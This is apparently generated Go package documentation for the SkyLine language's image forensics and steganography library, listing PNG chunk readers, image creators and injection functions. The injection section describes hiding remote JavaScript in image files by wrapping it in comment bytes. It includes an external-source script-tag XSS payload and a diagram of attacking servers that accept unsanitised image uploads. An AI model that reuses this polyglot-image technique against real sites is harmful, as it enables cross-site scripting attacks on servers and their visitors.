Documentation ¶
Overview ¶
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
This file contains all information for the SkyLine standard library // _____ _ __ _ _____ _ such as the math, io, IoT, ECP, Socket, Web, HTTP and other various // | __| |_ _ _| | |_|___ ___ ___ | __|___ ___ ___ ___ ___|_|___ ___ library content types. This code section defines a sub unit under a // |__ | '_| | | |__| | | -_|___ | __| . | _| -_| |_ -| | _|_ -| primary unit. This means that this section is under neath all of the// |_____|_,_|_ |_____|_|_|_|___| |__| |___|_| |___|_|_|___|_|___|___| primary units that define the functions to register the sub func's // |___|
////////////////////////////////////////////////////////////////////////
This library defines all forensics related functions and libraries which allow you to dissect, inject or mess around with images or files in some shape or form while also inspecting ¶
specific file formats such as PNG, JPEG, GIF, BMP, ELF, PE, EXE and etc files.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
This file defines all of the functions to verify specific file chunks or image chunks ¶
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
This file contains all information for the SkyLine standard library // _____ _ __ _ _____ _ such as the math, io, IoT, ECP, Socket, Web, HTTP and other various // | __| |_ _ _| | |_|___ ___ ___ | __|___ ___ ___ ___ ___|_|___ ___ library content types. This code section defines a sub unit under a // |__ | '_| | | |__| | | -_|___ | __| . | _| -_| |_ -| | _|_ -| primary unit. This means that this section is under neath all of the// |_____|_,_|_ |_____|_|_|_|___| |__| |___|_| |___|_|_|___|_|___|___| primary units that define the functions to register the sub func's // |___|
////////////////////////////////////////////////////////////////////////
This library defines all forensics related functions and libraries which allow you to dissect, inject or mess around with images or files in some shape or form while also inspecting ¶
specific file formats such as PNG, JPEG, GIF, BMP, ELF, PE, EXE and etc files.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
This file defines all automated controllers which are used to write binary data, execute specific tasks etc. Typically this is used during steganography.
Controllers also contain type specific functions, such as chunk creation, image creation, image setup, auto binary readers, auto binary writers and other various functions ¶
that may be specific to the image library and forensics library.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
This file contains all information for the SkyLine standard library // _____ _ __ _ _____ _ such as the math, io, IoT, ECP, Socket, Web, HTTP and other various // | __| |_ _ _| | |_|___ ___ ___ | __|___ ___ ___ ___ ___|_|___ ___ library content types. This code section defines a sub unit under a // |__ | '_| | | |__| | | -_|___ | __| . | _| -_| |_ -| | _|_ -| primary unit. This means that this section is under neath all of the// |_____|_,_|_ |_____|_|_|_|___| |__| |___|_| |___|_|_|___|_|___|___| primary units that define the functions to register the sub func's // |___|
////////////////////////////////////////////////////////////////////////
This library defines all forensics related functions and libraries which allow you to dissect, inject or mess around with images or files in some shape or form while also inspecting ¶
specific file formats such as PNG, JPEG, GIF, BMP, ELF, PE, EXE and etc files.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
This file defines converter functions to convert and return specific data types such as converting strings to real integers and data types ¶
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
This file contains all information for the SkyLine standard library // _____ _ __ _ _____ _ such as the math, io, IoT, ECP, Socket, Web, HTTP and other various // | __| |_ _ _| | |_|___ ___ ___ | __|___ ___ ___ ___ ___|_|___ ___ library content types. This code section defines a sub unit under a // |__ | '_| | | |__| | | -_|___ | __| . | _| -_| |_ -| | _|_ -| primary unit. This means that this section is under neath all of the// |_____|_,_|_ |_____|_|_|_|___| |__| |___|_| |___|_|_|___|_|___|___| primary units that define the functions to register the sub func's // |___|
////////////////////////////////////////////////////////////////////////
This library defines all forensics related functions and libraries which allow you to dissect, inject or mess around with images or files in some shape or form while also inspecting ¶
specific file formats such as PNG, JPEG, GIF, BMP, ELF, PE, EXE and etc files.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
This file dsefines all of the creation functions for images, this current system allows you to create basic images ¶
such as GIF, JPG, PNG, and BMP
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
This file contains all information for the SkyLine standard library // _____ _ __ _ _____ _ such as the math, io, IoT, ECP, Socket, Web, HTTP and other various // | __| |_ _ _| | |_|___ ___ ___ | __|___ ___ ___ ___ ___|_|___ ___ library content types. This code section defines a sub unit under a // |__ | '_| | | |__| | | -_|___ | __| . | _| -_| |_ -| | _|_ -| primary unit. This means that this section is under neath all of the// |_____|_,_|_ |_____|_|_|_|___| |__| |___|_| |___|_|_|___|_|___|___| primary units that define the functions to register the sub func's // |___|
////////////////////////////////////////////////////////////////////////
This library defines all forensics related functions and libraries which allow you to dissect, inject or mess around with images or files in some shape or form while also inspecting ¶
specific file formats such as PNG, JPEG, GIF, BMP, ELF, PE, EXE and etc files.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
This file contains functions that are called by SkyLine related controllers and exporters. These are the prime functions to use for the file within this directory
that is SkyRelated_Functions.go
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
This file contains all information for the SkyLine standard library // _____ _ __ _ _____ _ such as the math, io, IoT, ECP, Socket, Web, HTTP and other various // | __| |_ _ _| | |_|___ ___ ___ | __|___ ___ ___ ___ ___|_|___ ___ library content types. This code section defines a sub unit under a // |__ | '_| | | |__| | | -_|___ | __| . | _| -_| |_ -| | _|_ -| primary unit. This means that this section is under neath all of the// |_____|_,_|_ |_____|_|_|_|___| |__| |___|_| |___|_|_|___|_|___|___| primary units that define the functions to register the sub func's // |___|
////////////////////////////////////////////////////////////////////////
This library defines all forensics related functions and libraries which allow you to dissect, inject or mess around with images or files in some shape or form while also inspecting ¶
specific file formats such as PNG, JPEG, GIF, BMP, ELF, PE, EXE and etc files.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
This file defines all injection utilities that are dedicated to injecting images with files, writing to files, editing files, cutting chunks out and more.
These can be used to inject regular image formats or inject and hide specific secrets within the image.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
This file contains all information for the SkyLine standard library // _____ _ __ _ _____ _ such as the math, io, IoT, ECP, Socket, Web, HTTP and other various // | __| |_ _ _| | |_|___ ___ ___ | __|___ ___ ___ ___ ___|_|___ ___ library content types. This code section defines a sub unit under a // |__ | '_| | | |__| | | -_|___ | __| . | _| -_| |_ -| | _|_ -| primary unit. This means that this section is under neath all of the// |_____|_,_|_ |_____|_|_|_|___| |__| |___|_| |___|_|_|___|_|___|___| primary units that define the functions to register the sub func's // |___|
////////////////////////////////////////////////////////////////////////
This library defines all forensics related functions and libraries which allow you to dissect, inject or mess around with images or files in some shape or form while also inspecting ¶
specific file formats such as PNG, JPEG, GIF, BMP, ELF, PE, EXE and etc files.
----- File defines : Models for the existing library
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
This path of (n) contains all digital forensics based functions for images, files, memory, binary files and much more among that list.
n = StandardLibraryExternal/Forensics
This type of module contains much more files and information for general digital forensics and steganography. This includes functions and types as well as parsers that can look up signatures in images, verify unifentified files, pull data from files and images, extract signatures and uses the syscall table to read and write data to images with an option that allows you to encrypt and then inject data into an image. Currently this library only works with mainly PNG images but also has support for JPG/JPEG images and as far as general injection goes it works with most images which are common that includes BMP, JPG, JPEG, PNG, GIF, WEBP, WebM and other various file formats.
- Date of start : Wed 01 Mar 2023 02:18:32 PM EST
- File name : SkyLine_Image_Forensics_ControllInject.go
- File contains : All controller functions for injection and writers that use standard parsing techniques. Functions within this code are used to parse and inject payloads Such as `<script src=//web.form.gov> </script>` Techniques are explained below
The purpose of this controller function is to hide remote and malicous code within an image but encode it to where it will execute when the data is parsed
or ran through something such as a parser on the other end of something like a web server. The following example breaks down the hex code injected into the image
as a set of bytes. There will also be a minimal graphic showing this example and writing it to code explaining each bit of it
The follwoing false (psudeo) code describes the bytes like so ¶
CONST Start = []byte{0x2f, 0x2a}; CONST Middle = []byte{0x2a, 0x2f, 0x3d, 0x31, 0x3b}; CONST End = []byte{\x3b};
These bytes define the mid point of the injection, the end of the injection and the start of the injection.
Start ; \x2f and \x2a are representations for the START of a multi line comment Middle (first) ; \x2a and \x2f are representations for the END of a multi line comment Middle (Mid section / End) ; \x3d and \x31 and \x3b represents a = to 1, this expression sets the variable = to 1. End ; THis represents the end of the injection
PARSING AND UNDERSTANDING WHY THESE PARTS EXIST ¶
Start : Start exists because hiding the code in a multi line comment from the start and the end will
allow offensive experts to bypass certain detection systems or overwatch workers. Ofc this is still seeable but it makes it easier to hide than just plain out there
Middle END : This section exists because it allows the attacker to execute the code that comes after the comment
END : This will define the delimiter to indicate the end of the payload that has been injected into the file
Techniques like this make it easy to take control of servers by exploiting XSS like the following way ¶
Situation : A server allows you to upload an image, the image is not sanitized and the web server does not
properly handle content types
----------------------------------------------- | Vulnerable server allows a user or host | | to upload an image that is not checked or | | sanitized before being uploaded to the | | server | -----------------------------------------------
| | |---------------------------------------------| | Attacker hides a script tag in the image | | containing a website holding remote JS code | | like alert('xss') | |---------------------------------------------| | | |-----------------------------------------------| | The payload injected into the file looks like | | <sCrIpt src=//BLOGSITE.IO.com></ScRipT> | |-----------------------------------------------| _____| | | | | | ----------------------------------------------------------- | When the user visits the page or endpoint which the | | file with the payload was uploaded to, this code then | | gets executed because the content types are not handled | | correctly within the server thus the code executes | -----------------------------------------------------------
This type of attack is easy to attack but also very hard to work with well manually on the spot anyway ¶
this is why I designed this language, to make concepts like this way easier than they were before.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
This file contains all information for the SkyLine standard library // _____ _ __ _ _____ _ such as the math, io, IoT, ECP, Socket, Web, HTTP and other various // | __| |_ _ _| | |_|___ ___ ___ | __|___ ___ ___ ___ ___|_|___ ___ library content types. This code section defines a sub unit under a // |__ | '_| | | |__| | | -_|___ | __| . | _| -_| |_ -| | _|_ -| primary unit. This means that this section is under neath all of the// |_____|_,_|_ |_____|_|_|_|___| |__| |___|_| |___|_|_|___|_|___|___| primary units that define the functions to register the sub func's // |___|
////////////////////////////////////////////////////////////////////////
This library defines all forensics related functions and libraries which allow you to dissect, inject or mess around with images or files in some shape or form while also inspecting ¶
specific file formats such as PNG, JPEG, GIF, BMP, ELF, PE, EXE and etc files.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
This file defines all of the functions that will be called by registry
Index ¶
- Constants
- Variables
- func ConvertToSL_HASH(data map[string][]string) SkyEnv.SL_Object
- func Image_Controller_Function_External_1_Verify_Archive(imagefile string) (string, bool)
- func Image_Controller_Function_External_2_Inject_Into_File(input, output, file string) bool
- func NewArray(elements []SkyEnv.SL_Object) *SkyEnv.SL_Array
- func NewHash(pairs map[SkyEnv.HashKey]SkyEnv.HashPair) *SkyEnv.SL_HashMap
- func SkyLine_Forensics_Controllers_FileRead(f *os.File, data []byte)
- func SkyLine_Forensics_Controllers_FileSeek(f *os.File, OFFSET int64, WHENCE int)
- func SkyLine_Forensics_Controllers_FileWrite(f *os.File, data []byte)
- func SkyLine_Forensics_Controllers_ProcessImage(file *os.File) (reader *bytes.Reader, x error)
- func SkyLine_Forensics_Converters_AtoI(data string) int
- func SkyLine_Forensics_Image_CallCreateImage(Arguments ...SkyEnv.SL_Object) SkyEnv.SL_Object
- func SkyLine_Forensics_Image_CallGGetChunkName(Arguments ...SkyEnv.SL_Object) SkyEnv.SL_Object
- func SkyLine_Forensics_Image_CallGetMetaChunkData(Arguments ...SkyEnv.SL_Object) SkyEnv.SL_Object
- func SkyLine_Forensics_Image_CallGetNumChunks(Arguments ...SkyEnv.SL_Object) SkyEnv.SL_Object
- func SkyLine_Forensics_Image_CallGetOffsets(Arguments ...SkyEnv.SL_Object) SkyEnv.SL_Object
- func SkyLine_Forensics_Image_CallInjectImage(Arguments ...SkyEnv.SL_Object) SkyEnv.SL_Object
- func SkyLine_Forensics_Image_CallLocateArchive(Argumnts ...SkyEnv.SL_Object) SkyEnv.SL_Object
- func SkyLine_Forensics_InjectPng_Payload(outfile string, Offset int64, decode bool, permission int, ...) bool
- func SkyLine_Forensics_InjectRegularImage_Payload(filename, payload string) bool
- func SkyLine_Forensics_Module_Image_GenerateImage(typeof string) bool
- type ImageCreation_Settings
- type PNG_Image_Chunk
- type PNG_Image_Header
- type PNG_MetaData
- func (PNG_MetaData *PNG_MetaData) PNG_MetaData_GetAll(reader *bytes.Reader) map[string][]string
- func (PngMeta *PNG_MetaData) PNG_MetaData_GetChunkCount(reader *bytes.Reader) string
- func (PngMeta *PNG_MetaData) PNG_MetaData_GetChunkType(reader *bytes.Reader, ChunkAddress string) string
- func (PngMeta *PNG_MetaData) PNG_MetaData_Offsets(reader *bytes.Reader) []string
- func (PngMeta *PNG_MetaData) SkyLine_Forensic_Controllers_ChunkBytes_R(reader *bytes.Reader, ChunkLength uint32)
- func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_BinaryR(Reader io.Reader, order binary.ByteOrder, information interface{})
- func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_BinaryW(Writer io.Writer, order binary.ByteOrder, information interface{})
- func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_ChunkSize_R(reader *bytes.Reader)
- func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_ChunkType_R(reader *bytes.Reader)
- func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_Chunk_R(reader *bytes.Reader)
- func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_CreateChunk_CRC32() uint32
- func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_CreateChunk_Size() uint32
- func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_CreateMarshaler() *bytes.Buffer
- func (PngMeta *PNG_MetaData) SkyLine_Forensics_Converters_AtoB(data string) uint32
- func (PngMeta *PNG_MetaData) SkyLine_Forensics_Converters_RToStr() string
- func (PngMeta *PNG_MetaData) SkyLine_Fornesics_Controllers_ChunkCRC_R(reader *bytes.Reader)
- func (PngMeta *PNG_MetaData) SkyLine_Fornesics_Controllers_Offset_R(reader *bytes.Reader)
- func (PngMeta *PNG_MetaData) Verify_CriticalChunks() (ChunkType string)
- func (PngMeta *PNG_MetaData) Verify_PngHeader(reader *bytes.Reader)
- type Png_Module_Settings
Constants ¶
const (
GEN_Signature = '\x50'
)
Variables ¶
var ( //::::::::::::::::::::::::::::::::::::::: //:: Start : Payload injection start at //::::::::::::::::::::::::::::::::::::::: Payload_Image_1_Start = []byte{ 0x2f, 0x2a, } //::::::::::::::::::::::::::::::::::::::: //:: Middle : Payload injection at middle //::::::::::::::::::::::::::::::::::::::: Payload_Image_1_Middle = []byte{ 0x2a, 0x2f, 0x3d, 0x31, 0x3b, } //::::::::::::::::::::::::::::::::::::::: //:: End : Payload injection end //::::::::::::::::::::::::::::::::::::::: Payload_Image_1_End = []byte{ 0x3b, } //::::::::::::::::::::::::::::::::::::::: //:: ZIP byte signature for detection //::::::::::::::::::::::::::::::::::::::: ZIP_File_Signature = []byte{ '\x4b', '\x03', '\x04', } //::::::::::::::::::::::::::::::::::::::: //:: BMP Base encoding and byte payload //::::::::::::::::::::::::::::::::::::::: BMP_Base_Payload = []byte{ 0x42, 0x4d, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x18, 0x00, 0x00, 0x00, 0xff, 0x00, } //::::::::::::::::::::::::::::::::::::::: //:: PNG Base encoding and byte payload //::::::::::::::::::::::::::::::::::::::: PNG_Base_Payload = []byte{ 0x89, 0x50, 0x4E, 0x47, 0x0D, 0xA, 0x1A, 0x0A, } //::::::::::::::::::::::::::::::::::::::: //:: PNG Signatures //::::::::::::::::::::::::::::::::::::::: PNG_SIG_1 = "PNG" // Signature 1 PNG_SIG_2 = "89504E470D0A1A0A" // Signature 2 PNG_PAT_3 = "89 50 4E 47 0D 0A 1A 0A" // Pattern 3 SIG_END = "IEND" // Signature 3 | IEND ( End of image ) // Structure keys CreateImageSettings ImageCreation_Settings )
var (
ZIP_Signature = []byte{'\x4b', '\x03', '\x04'}
)
Functions ¶
func Image_Controller_Function_External_1_Verify_Archive ¶
Controller function | Verifies the factor of a ZIP signature existing within the image data
func Image_Controller_Function_External_2_Inject_Into_File ¶
Controller function | Injects a file into another file
func SkyLine_Forensics_Controllers_FileRead ¶
:::::::::::::::::::::: :: File Read :: ::::::::::::::::::::::
func SkyLine_Forensics_Controllers_FileSeek ¶
:::::::::::::::::::::: :: File seek :: ::::::::::::::::::::::
SkyLine_Image_Forensics_Controller_M2_F_S:
mov edx, eax ; Copy WHENCE to EDX mov eax, 0x8 ; SYS_LSEEK = 8 int 0x80 ; Perform system call ret ; Return information
func SkyLine_Forensics_Controllers_FileWrite ¶
:::::::::::::::::::::: :: File Write :: ::::::::::::::::::::::
func SkyLine_Forensics_Converters_AtoI ¶
Automates string conversion to integer
Types ¶
type ImageCreation_Settings ¶
type ImageCreation_Settings struct { PixelWidth string // Pixel width of image PixelHeight string // Pixel height of image Output string // Output file name }
::::::::::::::::::::::::::::::::::::::: :: Settings struct for image generation :::::::::::::::::::::::::::::::::::::::
type PNG_Image_Chunk ¶
type PNG_Image_Header ¶
type PNG_Image_Header struct {
HEADER uint64
}
type PNG_MetaData ¶
type PNG_MetaData struct { Offset int64 Chunk PNG_Image_Chunk }
var Metadata PNG_MetaData
Alias for getting chunks
func (*PNG_MetaData) PNG_MetaData_GetAll ¶
func (PNG_MetaData *PNG_MetaData) PNG_MetaData_GetAll(reader *bytes.Reader) map[string][]string
func (*PNG_MetaData) PNG_MetaData_GetChunkCount ¶
func (PngMeta *PNG_MetaData) PNG_MetaData_GetChunkCount(reader *bytes.Reader) string
func (*PNG_MetaData) PNG_MetaData_GetChunkType ¶
func (PngMeta *PNG_MetaData) PNG_MetaData_GetChunkType(reader *bytes.Reader, ChunkAddress string) string
func (*PNG_MetaData) PNG_MetaData_Offsets ¶
func (PngMeta *PNG_MetaData) PNG_MetaData_Offsets(reader *bytes.Reader) []string
func (*PNG_MetaData) SkyLine_Forensic_Controllers_ChunkBytes_R ¶
func (PngMeta *PNG_MetaData) SkyLine_Forensic_Controllers_ChunkBytes_R(reader *bytes.Reader, ChunkLength uint32)
:::::::::::::::::::::::::::::::::::::::::: :: PNG Format Reader | Read Chunks Data :: ::::::::::::::::::::::::::::::::::::::::::
func (*PNG_MetaData) SkyLine_Forensics_Controllers_BinaryR ¶
func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_BinaryR(Reader io.Reader, order binary.ByteOrder, information interface{})
:::::::::::::::::::::: :: Binary Reader :: ::::::::::::::::::::::
func (*PNG_MetaData) SkyLine_Forensics_Controllers_BinaryW ¶
func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_BinaryW(Writer io.Writer, order binary.ByteOrder, information interface{})
:::::::::::::::::::::: :: Binary Writer :: ::::::::::::::::::::::
func (*PNG_MetaData) SkyLine_Forensics_Controllers_ChunkSize_R ¶
func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_ChunkSize_R(reader *bytes.Reader)
:::::::::::::::::::::::::::::::::::::::::: :: PNG Format Reader | Read Chunk Size :: ::::::::::::::::::::::::::::::::::::::::::
func (*PNG_MetaData) SkyLine_Forensics_Controllers_ChunkType_R ¶
func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_ChunkType_R(reader *bytes.Reader)
:::::::::::::::::::::::::::::::::::::::::: :: PNG Format Reader | Read Chunk Type :: ::::::::::::::::::::::::::::::::::::::::::
func (*PNG_MetaData) SkyLine_Forensics_Controllers_Chunk_R ¶
func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_Chunk_R(reader *bytes.Reader)
::::::::::::::::::::::::::::::::::::::::::: :: PNG Format Reader | Read All MetaData :: :::::::::::::::::::::::::::::::::::::::::::s
func (*PNG_MetaData) SkyLine_Forensics_Controllers_CreateChunk_CRC32 ¶
func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_CreateChunk_CRC32() uint32
::::::::::::::::::::::::::::::::::: :: Controller Create Junk CRC32 :: :::::::::::::::::::::::::::::::::::
func (*PNG_MetaData) SkyLine_Forensics_Controllers_CreateChunk_Size ¶
func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_CreateChunk_Size() uint32
::::::::::::::::::::::::::::::::::: :: Controller Create Junk Size :: :::::::::::::::::::::::::::::::::::
func (*PNG_MetaData) SkyLine_Forensics_Controllers_CreateMarshaler ¶
func (PngMeta *PNG_MetaData) SkyLine_Forensics_Controllers_CreateMarshaler() *bytes.Buffer
::::::::::::::::::::::::::::::::::: :: Controller Create Metadata :: :::::::::::::::::::::::::::::::::::
func (*PNG_MetaData) SkyLine_Forensics_Converters_AtoB ¶
func (PngMeta *PNG_MetaData) SkyLine_Forensics_Converters_AtoB(data string) uint32
Automates string conversion to unsigned integer binary
func (*PNG_MetaData) SkyLine_Forensics_Converters_RToStr ¶
func (PngMeta *PNG_MetaData) SkyLine_Forensics_Converters_RToStr() string
Automates writing meta chunk types to a string
func (*PNG_MetaData) SkyLine_Fornesics_Controllers_ChunkCRC_R ¶
func (PngMeta *PNG_MetaData) SkyLine_Fornesics_Controllers_ChunkCRC_R(reader *bytes.Reader)
:::::::::::::::::::::::::::::::::::::::::: :: PNG Format Reader | Read Chunk CRC :: ::::::::::::::::::::::::::::::::::::::::::
func (*PNG_MetaData) SkyLine_Fornesics_Controllers_Offset_R ¶
func (PngMeta *PNG_MetaData) SkyLine_Fornesics_Controllers_Offset_R(reader *bytes.Reader)
::::::::::::::::::::::::::::::::::::::::::::::: :: PNG Format Reader | Read Specified Offset :: :::::::::::::::::::::::::::::::::::::::::::::::
func (*PNG_MetaData) Verify_CriticalChunks ¶
func (PngMeta *PNG_MetaData) Verify_CriticalChunks() (ChunkType string)
func (*PNG_MetaData) Verify_PngHeader ¶
func (PngMeta *PNG_MetaData) Verify_PngHeader(reader *bytes.Reader)
type Png_Module_Settings ¶
type Png_Module_Settings struct { Key string // Encryption key if any Decode bool // Decode payload before injection Encode bool // Encode payload before injection OutputFile string // Output file resulting in the input file being injected InputFile string // Input file to inject FileMode int64 // File mode of created output file from resulting injection ImageOffset int64 // Offset to inject at Payload string // Payload to inject InjectableChunk string // Chunk to inject at }
::::::::::::::::::::::::::::::::::::::: :: PNG Forensics settings structure :::::::::::::::::::::::::::::::::::::::
func (*Png_Module_Settings) Injection_Standard_Payload ¶
func (SessionSets *Png_Module_Settings) Injection_Standard_Payload(reader *bytes.Reader) bool
Source Files ¶
- SkyLine_Backend_Module_SkyStandardLIb_ImageForensics_Verifiers.go
- SkyLine_Backend_Module_SkyStandardLib_ImageForensics_Controllers.go
- SkyLine_Backend_Module_SkyStandardLib_ImageForensics_Converters.go
- SkyLine_Backend_Module_SkyStandardLib_ImageForensics_CreationFuncs.go
- SkyLine_Backend_Module_SkyStandardLib_ImageForensics_FileInvestigation.go
- SkyLine_Backend_Module_SkyStandardLib_ImageForensics_InitatedFuncs.go
- SkyLine_Backend_Module_SkyStandardLib_ImageForensics_Injectors_Writers.go
- SkyLine_Backend_Module_SkyStandardLib_ImageForensics_Models.go
- SkyLine_Backend_Module_SkyStandardLib_SkyRelated_Functions.go